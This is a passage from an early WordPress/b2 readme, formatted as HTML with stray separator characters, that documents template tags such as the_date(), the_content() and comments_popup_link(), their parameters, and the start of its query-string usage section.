back to your design.</li>
|
||||
<li>You <em>must</em> update your <code>b2config.php</code>. There's all
|
||||
sort of new stuff in there.</li>
|
||||
<li>WordPress issues should be discussed in our <a href="http://wordpress.org/support/">support
|
||||
forums</a>.</li>
|
||||
<li><strong>Back up</strong> your database before you do anything. Yes,
|
||||
you. Right now.</li>
|
||||
</ul>
|
||||
<h1 id="templates">Template(s):</h1>
|
||||
<h2>First notes:</h2>
|
||||
<ul>
|
||||
<li>Enclosed is an example of a template, in the file b2.php. You can
|
||||
rename this file to "index.php"or something else (recent b2
|
||||
versions have a default index.php, which is an elaborate CSS-based template).</li>
|
||||
<li>You can have any number of template files, since all they do is extract
|
||||
the posts from the database.</li>
|
||||
<li>Pseudo-template for the comments is in b2comments.php. You needn't
|
||||
rename this file, but you can edit it.</li>
|
||||
<li>The only thing to remember is that it's not actually a template, but
|
||||
a PHP file that you're manipulating. So when you see "don't delete
|
||||
this line", you know you mustn't, unless you want to have a broken
|
||||
page.</li>
|
||||
<li>Required lines are: the first lines that call blog.header.php, the
|
||||
lines with the "while" statement, and the ones with just "}"
|
||||
(it ends the while loop).</li>
|
||||
<li>Between the "while" line and the "}", is the template
|
||||
for your posts.</li>
|
||||
</ul>
|
||||
<h2>Notes about parameters:</h2>
|
||||
<ol>
|
||||
<li> Some template tags can accept optional parameters between the parenthesis
|
||||
<strong>()</strong>.</li>
|
||||
<li>To add a parameter to a tag, enclose it between quotes and put it
|
||||
between the <strong>()</strong>.<br />
|
||||
Example: <code><?php my_tag("my parameter"); ?></code></li>
|
||||
<li>You may have to put several parameters, for that you separate them
|
||||
with commas.<br />
|
||||
Example: <code><?php my_tag("first param","second param"); ?></code></li>
|
||||
<li>The order of parameters is important. If a function accepts 2 parameters
|
||||
and you only want to set the second one, you still have to provide the
|
||||
first one, and so on for any number of parameters.<br />
|
||||
Example: <code><?php my_tag("","second param"); ?></code></li>
|
||||
<li>Some template tags, like the_date(), display something only if in
|
||||
some conditions. They generally accept parameters to display something
|
||||
before and after them only when they display something.<br />
|
||||
Example: <code><?php the_title("<h1>","</h1>"); ?></code> would
|
||||
display <h1>title of the post</h1> only if the post has a title<br />
|
||||
<br />
|
||||
</li>
|
||||
</ol>
|
||||
<h1>Template tags:</h1>
|
||||
<blockquote> <strong><?php the_date() ?></strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
|
||||
the date of the post. example: 03.07.01 (default is dd.mm.yy).<br />
|
||||
the date is displayed only on new days. for example if you got 10 posts
|
||||
on the same day, the date for this day is displayed only once.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>format string (default: "d.m.y")</li>
|
||||
<li>string to display before the date (default is blank)</li>
|
||||
<li>string to display after the date (default is blank)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php the_time() ?></strong><br />
|
||||
the time of the post. example: 18:37:00 (default is hh:mm:ss)<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>format string (default: "H:i:s")</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong>Note:</strong> you can change the way the date & time are
|
||||
displayed in the Options page.<br />
|
||||
once you understand the format strings for the date & time (explained
|
||||
in the Options page), you can change the display right on the template:
|
||||
for example, <strong>the_date(</strong><em>"d.m.Y"</em><strong>)</strong>
|
||||
to have dates like 25.12.2001, <strong>the_time(</strong><em>"B"</em><strong>)</strong>
|
||||
to have Swatch Internet Time.<br />
|
||||
If you change the display of the date on the template, changing it from
|
||||
the options page won't have any effect.br /> <br />
|
||||
<strong>Note about the_date():</strong> if you want all your posts to
|
||||
bear the date, you'll have to use the_time() instead, with a date format
|
||||
string. for example, to have all your posts show like "25.12.2001
|
||||
@ 8:04:50 AM" you'll have the_time("d.m.Y @ g:i:s A").
|
||||
you can also repeat this template tag 2 times with 2 different formats:
|
||||
the_time("d.m.Y") for the date, and then later the_time("g:i:s
|
||||
A") for the time of the day.<br />
|
||||
<br />
|
||||
<strong><?php the_weekday() ?></strong><br />
|
||||
This displays the day of the week when the post was made. It works like
|
||||
the_time(), in that it would appear at every post. Weekdays can be obtained
|
||||
with a custom date format string in the_time() or the_date(), but for
|
||||
non-english weekdays you have to edit b2config.php<br />
|
||||
<strong>Note: this tag is OBSOLETE, the_time() and the_date() now use
|
||||
weekdays/months from b2config.php</strong><br />
|
||||
<br />
|
||||
<strong><?php the_weekday_date() ?></strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
Like the_weekday(), but works like the_date(), in that it would appear
|
||||
only on new days.<br />
|
||||
<strong>Note: this tag is OBSOLETE, the_time() and the_date() now use
|
||||
weekdays/months from b2config.php</strong><br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string to display before the weekday_date (default is blank)</li>
|
||||
<li>string to display after the weekday_date (default is blank)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php the_ID() ?><br />
|
||||
</strong>the ID (number) of the post.<br />
|
||||
<br />
|
||||
<strong><?php the_title() ?><br />
|
||||
</strong>The title of the post.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string to display before the title (default is blank)</li>
|
||||
<li>string to display after the title (default is blank)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php the_content() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>The text of the post.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>text to display for the link to the complete entry (default is
|
||||
<em>'(more...)'</em>)</li>
|
||||
<li>0 or 1, whether you want to show the teaser message or not, when
|
||||
showing the complete text (default is 1)</li>
|
||||
<li>a filename of another template, if you want the 'more' link to
|
||||
link to a different template for the complete text of the extended
|
||||
entry (default is the current template)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
For example <em><?php the_content("read more","0","blah.php")
|
||||
?></em> would display a link to <em>blah.php</em>, with the link text
|
||||
<em>read more</em>, and won't display the teaser message.<br />
|
||||
<br />
|
||||
<span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>
|
||||
To enter an extended entry, just type <em><!--more--></em> in your
|
||||
entry. The part before that comment is the teaser, the part after it is
|
||||
the extended entry. To force the extended entry not to show the teaser
|
||||
message, type <em><!--noteaser--></em> somewhere in your entry.<br />
|
||||
<br />
|
||||
<span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>
|
||||
To enter an entry with several pages, just type <em><!--nextpage--></em>
|
||||
in your entry to start a new page.<br />
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php next_post() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>Displays a link to the next post(s). (Generally you might want
|
||||
to use that tag only in single-post templates)<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>format string for the link (default is "%", where % is replaced
|
||||
with the title of the next post)</li>
|
||||
<li>text to display to announce the link (default is "next post: ")</li>
|
||||
<li>"yes" or "no": display the title of the post, or no (default is
|
||||
"yes")</li>
|
||||
<li>"yes" or "no": display a link to the next post only if the next
|
||||
post is in the same category (default is "no")</li>
|
||||
<li>number: which next post ? if you make it '2', the 2nd next post
|
||||
is linked instead of the 1st next one (default is "1", which means
|
||||
first next post)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php previous_post() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>Displays a link to the previous post(s). (Generally you might
|
||||
want to use that tag only in single-post templates)<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>format string for the link (default is "%", where % is replaced
|
||||
with the title of the previous post)</li>
|
||||
<li>text to display to announce the link (default is "previous post:
|
||||
")</li>
|
||||
<li>"yes" or "no": display the title of the post, or no (default is
|
||||
"yes")</li>
|
||||
<li>"yes" or "no": display a link to the next post only if the previous
|
||||
post is in the same category (default is "no")</li>
|
||||
<li>number: which previous post ? if you make it '2', the 2nd previous
|
||||
post is linked instead of the 1st previous post (default is "1",
|
||||
which means first previous post)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php next_posts() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>Display the URL portion of a link to the next set of posts. <br />
|
||||
Generally you would use this in a template to navigate to the next "set"
|
||||
of posts when the "Show Options" settings for the site is set to "posts
|
||||
paged". The displayed string can be used to construct a link. When the
|
||||
site options are not set to 'posts paged", the next and previous functions
|
||||
will display nothing.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>Max page number to use. Default "0"; no limit</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php next_posts_link() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong> Displays a full link to the next "set" of posts only if show
|
||||
options set to "posts paged" and only if there is another page or partial
|
||||
page of data.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>A user supplied string. Default "Next Page >>"</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php previous_posts() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>Displays the URL portion of a link to the previous posts.<br />
|
||||
Generally you would use this in a template to navigate to the previous
|
||||
"set" of posts when the "Show Options" settings for the site is set to
|
||||
"posts paged". The displayed string can then be used to construct a link.
|
||||
When the site options are not set to 'posts paged", the next and previous
|
||||
functions will display nothing.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>No parameters.</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php previous_posts_link() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong> Displays a full link to the previous "set" of posts only if
|
||||
show options set to "posts paged" and if there is a previous set, otherwise
|
||||
nothing is displayed.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>A user supplied string. Default "<< Previous Page"</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php posts_nav_link() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>The function displays a complete navigation set of links including
|
||||
a user definable "separator" with the ability to supply a the text string
|
||||
to be used for the "previous" and "next" links.<br />
|
||||
The default result will produce the following string:<br />
|
||||
<p align="center"><< Previous Page :: Next Page >></p>
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>A user supplied "separator" string. Default " :: "</li>
|
||||
<li>A user supplied "previous" string. Default "<< Previous
|
||||
Page"</li>
|
||||
<li>A user supplied "next" string. Default "Next Page >>"</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php link_pages() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>Displays links to the pages of the post if it's a multiple pages
|
||||
post.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string to display before the tag (default is "<br />", a newline)</li>
|
||||
<li>string to display after the tag (default is "<br />", a newline)</li>
|
||||
<li>"next" or "number": display links like "next/previous page" or
|
||||
links to each page with the number of the page "1 2 3 4 etc" (default
|
||||
is "number")</li>
|
||||
<li>string to display the "next page" link (default is "next page")</li>
|
||||
<li>string to display the "previous page" link (default is "previous
|
||||
page")</li>
|
||||
<li>format string for the "number of page" link (default is "%", where
|
||||
% is replaced by the number of the page)</li>
|
||||
<li>file name, in case you want to load the posts with multiple pages
|
||||
in a different template (default is the current template)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php the_author() ?></strong><br />
|
||||
The author of the post.<br />
|
||||
Depending on the user's profile settings, it can display whether their
|
||||
nickname, login name, first name, last name, both first& last name,
|
||||
or last & first name. look below for more author-related template
|
||||
tags. <br />
|
||||
<br />
|
||||
<strong><?php the_category() ?><br />
|
||||
</strong>the name of the category the post belongs to. you can as an admin
|
||||
add categories, and rename them if needed. default category is 'General',
|
||||
you can rename it too.<br />
|
||||
<br />
|
||||
<strong><?php the_category_ID() ?><br />
|
||||
</strong>The ID (number) of the category the post belongs to. This is
|
||||
static data thatyou can use, for example to associate a category to an
|
||||
image, or a css style.<br />
|
||||
<br />
|
||||
<strong><?php trackback_rdf() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
|
||||
This will include the RDF data that can be used by some weblog tools to
|
||||
locate your posts' trackback URLs.<br />
|
||||
You should put this tag after the <?php the_content() ?> tag in
|
||||
your template, or just before the end of the loop.<br />
|
||||
<br />
|
||||
<strong><?php dropdown_cats() ?><br />
|
||||
</strong>this is a special tag, meant to be used in the template, but
|
||||
outside of the b2 loop. it will display a list of <option name="<em>x</em>"><em>category-name</em></option>,
|
||||
where <em>x</em> is the number of the category and <em>category-name</em>
|
||||
is the name of it.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>0 or 1, depending if you want to have an option to display all
|
||||
categories (default is 1)</li>
|
||||
<li>text to display for the option to show all categories (default
|
||||
is "All")</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
you can use it like this: <br />
|
||||
<br />
|
||||
<code><form action="<?php echo $PHP_SELF ?>" method="get"><br />
|
||||
<?php dropdown_cats() ?><br />
|
||||
<input type="submit" name="submit" value="view" /><br />
|
||||
</form></code> <br />
|
||||
<br />
|
||||
<strong><?php list_cats() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>this is a special tag, meant to be used in the template, but
|
||||
outside of the b2 loop. it will display a list of the categories, with
|
||||
links to them. like in b2archive.php, each category is on a line, the
|
||||
only way you can change this is by editing b2.template.functions.php<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>0 or 1, depending if you want to have an option to display all
|
||||
categories (default is 1)</li>
|
||||
<li>text to display for the option to show all categories (default
|
||||
is 'All')</li>
|
||||
<li>sort by: possible values are 'name' and 'ID' (default is 'ID')</li>
|
||||
<li>sorting order: possible values are 'asc' for ascending or 'desc'
|
||||
for descending (default is 'asc')</li>
|
||||
<li>filename, in case you want to display the categories' posts in
|
||||
another template (default is current template)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php bloginfo() ?></strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
|
||||
This tag is out of the b2 loop.<br />
|
||||
It outputs info about your weblog.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string: can be 'name' to display the name of your weblog (you
|
||||
set it in b2config.php), 'url', 'description', 'admin_email', 'rss_url'
|
||||
to display the URL of your b2rss.xml file, 'pingback_url' to display
|
||||
the URL of your xmlrpc.php file<br />
|
||||
(default string is 'name')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php single_post_title() ?></strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
|
||||
This tag is out of the b2 loop.<br />
|
||||
It outputs the title of the post when you load the page with ?p= (see
|
||||
'Usage' section for explanation). When the weblog page is loaded without
|
||||
?p=, this tag doesn't display anything. Generally, you could use it like
|
||||
this:<br />
|
||||
<title><?php bloginfo('name') ?><?php single_post_title()
|
||||
?></title><br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>prefix string that will appear before the post's title (default
|
||||
is ' :: ')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php single_cat_title() ?></strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
|
||||
This tag is out of the b2 loop.<br />
|
||||
It outputs the title of the category when you load the page with ?cat=
|
||||
(see 'Usage' section for explanation). When the weblog page is loaded
|
||||
without ?cat=, this tag doesn't display anything. Generally, you could
|
||||
use it like this:<br />
|
||||
<title><?php bloginfo('name') ?><?php single_cat_title()
|
||||
?></title><br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>prefix string that will appear before the category's title (default
|
||||
is ' :: ')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php single_month_title() ?></strong> <span style="font-family: 'Courier New',Courrier,mono; color: #ff9900; font-weight: bold;">*</span><br />
|
||||
This tag is out of the b2 loop.<br />
|
||||
It outputs the name of the month when you load the page with ?m= (see
|
||||
'Usage' section for explanation). When the weblog page is loaded without
|
||||
?m=, this tag doesn't display anything. Generally, you could use it like
|
||||
this:<br />
|
||||
<title><?php bloginfo('name') ?><?php single_month_title()
|
||||
?></title><br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>prefix string that will appear before the month's name (default
|
||||
is ' :: ')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong>Note:</strong> The above three functions can be used together
|
||||
to produce the Title of the page:<br>
|
||||
<title><?php bloginfo('name') ?><?php single_post_title('
|
||||
:: ') ?><?php single_cat_title(' :: ') ?><?php single_month_title('
|
||||
:: ') ?></title><br />
|
||||
Only one, if any, of these functions will produce output, thus the page
|
||||
Title can be customize to the task being done. <br />
|
||||
<br />
|
||||
<br />
|
||||
<strong>More about the author</strong> of the post ? Here goes:<br />
|
||||
<br />
|
||||
<strong><?php the_author_email() ?> - </strong> the author's email.<br />
|
||||
<strong><?php the_author_url() ?></strong> - the author's url.<br />
|
||||
<strong><?php the_author_email() ?></strong> - the author's number
|
||||
of posts.<br />
|
||||
<strong><?php the_author_icq() ?></strong> - the author's ICQ number.<br />
|
||||
<strong><?php the_author_aim() ?></strong> - the author's AIM handle.<br />
|
||||
<strong><?php the_author_yim() ?></strong> - the author's Yahoo
|
||||
Messenger handle.<br />
|
||||
<strong><?php the_author_msn() ?></strong> - the author's MSN Messenger
|
||||
handle.<br />
|
||||
<strong><?php the_author_posts() ?></strong> - the author's post
|
||||
count.<br />
|
||||
<strong><?php the_author_login() ?></strong> - the author's login
|
||||
name in b2. If you want some static data about the author, this is what
|
||||
you're searching for. You can, for example, associate a picture with an
|
||||
author, like this: <em><img src="pictures/<?php the_author_login()
|
||||
?>.jpg" border="0"></em><br />
|
||||
<strong><?php the_author_ID() ?></strong> - the author's ID number
|
||||
in b2. This number is automatically set when the user registers: to see
|
||||
the ID of an user, go to the Team page. This is static data too, so you
|
||||
can use it like the_author_login() in associating stuff with authors.<br />
|
||||
<br />
|
||||
<strong><br />
|
||||
Tags for permalinks</strong> are:<br />
|
||||
<br />
|
||||
<strong><?php permalink_anchor() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
|
||||
this will display <a name="..."></a>, replacing
|
||||
"..." with the ID or the title of the post in the database.<br />
|
||||
<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string for kind of anchor: either 'id' that displays '50', or
|
||||
'title' that displays 'title_of_post_50' (default is 'id')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php permalink_link() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>this will display the name of the file followed by #ID to link
|
||||
to the post, in the month archive if archive-mode is "monthly".<br />
|
||||
note: this tag does not display the link, for this you've got to type
|
||||
<a href="<?php permalink_link() ?>">text of the
|
||||
link</a>.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>file name, in case you want to link the archive to a different
|
||||
template (default is the current template)</li>
|
||||
<li>string for kind of link: either 'id' that appends '#50' to the
|
||||
link, or 'title' that appends '#title_of_post_50' (default is 'id')</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php permalink_single() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span><br />
|
||||
</strong>this will display the name of the file followed by #ID to link
|
||||
to the entire post (the linked page will also show the extended text on
|
||||
that post if it is an extended entry, and the comments).<br />
|
||||
note: this tag does not display the link, for this you've got to type
|
||||
<a href="<?php permalink_single() ?>">text of the
|
||||
link</a>.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>file name, in case you want to use a different template for single
|
||||
posts (default is the current template)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<br />
|
||||
<strong>Tags for comments, trackback, and pingback</strong> are:<br />
|
||||
<br />
|
||||
<strong><?php comments_popup_script() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
|
||||
This will include the javascript that is required to open comments, trackback
|
||||
and pingback in popup windows.<br />
|
||||
You should put this tag before the </head> tag in your template.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>width (default is 400)</li>
|
||||
<li>height (default is 400)</li>
|
||||
<li>file name, in case you want to use a different template for comments
|
||||
(default is b2commentspopup.php)</li>
|
||||
<li>file name, in case you want to use a different template for TrackBacks
|
||||
(default is b2trackbackpopup.php)</li>
|
||||
<li>file name, in case you want to use a different template for Pingbacks
|
||||
(default is b2pingbackspopup.php)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php comments_popup_link() ?><span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
|
||||
This will display the link to open comments in a popup window, with the
|
||||
number of comments.<br />
|
||||
To edit the popup window's template, edit the file b2commentspopup.php
|
||||
(it's the default one for comments popup).<br />
|
||||
<br />
|
||||
Note:<br />
|
||||
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_popup_link()</b>'
|
||||
and '<b>pingback_popup_link()</b>'. They take the same parameters.<br />
|
||||
<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string for comment-less posts (default is "no comments")</li>
|
||||
<li>string for posts with one comment (default is "1 comment")</li>
|
||||
<li>string for posts with 2 or more comments (default is "% comments")<br />
|
||||
Note here that the sign "%" is then replaced by the number
|
||||
of comments.</li>
|
||||
<li>string for CSS class, so you can have a styled link with class=""
|
||||
(default is empty, no CSS class applied)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php comments_link() ?><br />
|
||||
</strong> This is a bit like permalink_link, it will display an URL to
|
||||
the comments page, but again you'll have to create the link tag.<br />
|
||||
<br />
|
||||
Note:<br />
|
||||
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_link()</b>'
|
||||
and '<b>pingback_link()</b>'. They take the same parameters.<br />
|
||||
<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>file name, in case you want to use a different template for comments
|
||||
(default is the current template)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<strong><?php comments_number() ?></strong> <br />
|
||||
This displays the number of comments that have been posted on this post.
|
||||
Example: "5 comments".<br />
|
||||
<br />
|
||||
Note:<br />
|
||||
The same tags exist for TrackBack and Pingback, respectively named '<b>trackback_number()</b>'
|
||||
and '<b>pingback_number()</b>'. They take the same parameters.<br />
|
||||
<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>string for comment-less posts (default is "no comments")</li>
|
||||
<li>string for posts with one comment (default is "1 comment")</li>
|
||||
<li>string for posts with 2 or more comments (default is "% comments")<br />
|
||||
Note here that the sign "%" is then replaced by the number
|
||||
of comments.</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
Example: <em><?php comments_number("no comment","1 comment","%
|
||||
comments") ?></em><br />
|
||||
<br />
|
||||
This tag differs from v0.5's tag because in v0.5 and prior, it would only
|
||||
display a number, not a text with it, so you could have terrible things
|
||||
like "1 comments" (doh !)<br />
|
||||
<br />
|
||||
<strong>Necessary: <?php include("b2comments.php") ?></strong><br />
|
||||
you'll put this line where you want the comments to be placed on your
|
||||
page.<br />
|
||||
typically, under the post itself. don't worry, the comments only appear
|
||||
if the page is called in the comments mode. (like this: url?c=1)<br />
|
||||
<br />
|
||||
<strong>Necessary: <?php include("b2trackback.php") ?></strong><br />
|
||||
you'll put this line where you want the TrackBacks to be placed on your
|
||||
page.<br />
|
||||
typically, under the post itself. don't worry, the TrackBacks only appear
|
||||
if the page is called in the TrackBacks mode. (like this: url?tb=1)<br />
|
||||
<br />
|
||||
<strong>Necessary: <?php include("b2pingbacks.php") ?></strong><br />
|
||||
you'll put this line where you want the Pingbacks to be placed on your
|
||||
page.<br />
|
||||
typically, under the post itself. don't worry, the Pingbacks only appear
|
||||
if the page is called in the Pingbacks mode. (like this: url?pb=1)<br />
|
||||
<br />
|
||||
<br />
|
||||
<strong>Tags that go in b2comments.php, b2trackback.php, b2pingbacks.php:</strong>
|
||||
(these are easy too)<br />
|
||||
<br />
|
||||
<strong><?php comment_author() ?></strong><br />
|
||||
<strong><?php comment_author_email() ?> </strong> - displays the
|
||||
e-mail address, but not the link<br />
|
||||
<strong><?php comment_author_url() ?> </strong>- displays the url,
|
||||
but not the link<br />
|
||||
<br />
|
||||
<strong><?php comment_author_email_link() ?> </strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>-
|
||||
displays a link to the comment's author's e-mail<br />
|
||||
<strong><?php comment_author_url_link() ?> </strong> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span>-
|
||||
displays a link to the comment's author's website<br />
|
||||
<div class="params">Parameters for <strong>comment_author_email_link()</strong>
|
||||
and <strong>comment_author_url_link()</strong>:
|
||||
<ul>
|
||||
<li>string for the link (default: "email"/"url" depending on the tag)</li>
|
||||
<li>string to display before the link (default is " - ")</li>
|
||||
<li>string to display after the link (default is blank)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php comment_author_IP() ?></strong> - displays the IP
|
||||
of the comment's author<br />
|
||||
<strong><?php comment_text() ?><br />
|
||||
<?php comment_date() ?> </strong>- unlike the_date(), this tag appears
|
||||
on every comment<strong><br />
|
||||
<?php comment_time() ?></strong><br />
|
||||
<div class="params">Parameters for <strong>comment_date()</strong> and
|
||||
<strong>comment_time()</strong>:
|
||||
<ul>
|
||||
<li>format string (default is "d.m.y"/"H:i:s" depending on the tag)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<strong><?php trackback_url() ?> <span style="font-family: Courier New, Courrier, mono; color: #ff9900; font-weight:bold;">*</span></strong><br />
|
||||
This tag is out of the b2 TrackBacks loop.<br />
|
||||
It will output the URL to TrackBack the post, that other people can copy
|
||||
and use in b2's posting interface to trackback this post.<br />
|
||||
<div class="params">Parameters:
|
||||
<ul>
|
||||
<li>no parameter</li>
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
In b2comments.php b2trackback.php and b2pingbacks.php, like in the main
|
||||
template file, please keep the first PHP lines, the "while"
|
||||
lines, and the "}" lines.<br />
|
||||
You can modify the form, but do not remove "<?php echo ... ?>"
|
||||
and all the name="..." attributes.<br />
|
||||
<br />
|
||||
<br />
|
||||
To <strong>include your archives:</strong><br />
|
||||
<br />
|
||||
<strong><?php include("b2archives.php") ?></strong><br />
|
||||
this will include the links to your archives, one link per line.<br />
|
||||
if your archive mode is "monthly", it will display the names
|
||||
of the months and the years, like "july 2001".<br />
|
||||
if your archive mode is "post by post", it will display the
|
||||
titles of your posts, one title per line. if a post is untitled it will
|
||||
display the ID (number) of this post.<br />
|
||||
<br />
|
||||
<br />
|
||||
To <strong>include the calendar:</strong><br />
|
||||
<br />
|
||||
<strong><?php include("b2calendar.php") ?></strong><br />
|
||||
this will include a table with the current month's calendar, each day
|
||||
when you posted shows a link to this day's posts. You can customise this
|
||||
table with CSS classes:
|
||||
<div class="params"> <strong>.b2calendarmonth {}</strong><br />
|
||||
<i>the style that is used to display the month and year</i><br />
|
||||
<strong>.b2calendartable {}</strong><br />
|
||||
<i>the style of the <table> tag (border etc...)</i><br />
|
||||
<strong>.b2calendarrow {}</strong><br />
|
||||
<i>the style of the <tr> tag</i><br />
|
||||
<strong>.b2calendarheadercell {}</strong><br />
|
||||
<i>the style of the <td> tag that shows the weekdays
|
||||
on the top of the table</i><br />
|
||||
<strong>.b2calendarcell {}</strong><br />
|
||||
<i>the style of the <td> tags that show the days</i><br />
|
||||
<strong>.b2calendaremptycell {}</strong><br />
|
||||
<i>the style of the <td> tags that are empty</i><br />
|
||||
<strong>.b2calendarlinkpost {}</strong><br />
|
||||
<i>the style of the link to the post</i><br />
|
||||
<strong>.b2calendartoday {}</strong><br />
|
||||
<i>the style of the day if it is today</i> </div>
|
||||
</blockquote>
|
||||
<a name="usage"></a> <h1>Query String Usage:</h1>
|
||||
<p>WordPress relies a lot on the query string, these variables passed with
|
||||
the URL (note: to pass variables in the querystring, preceed the first
|
||||
variable name with a '?' question mark and every other variables with
|
||||
a '&' sign.)</p>
|
||||
<p>Most of the time you won't have to do anything about it, but if you want
|
||||
to know how it works, it's here:</p>
|
||||
<p>How to use the query string:</p>
|
||||
<blockquote> index.php<strong>?m=200107</strong> will display the month
|
||||
of July 2001.<br />
|
||||
<br />
|
||||
index.php<strong>?m=20010701</strong> will display all posts from July
|
||||
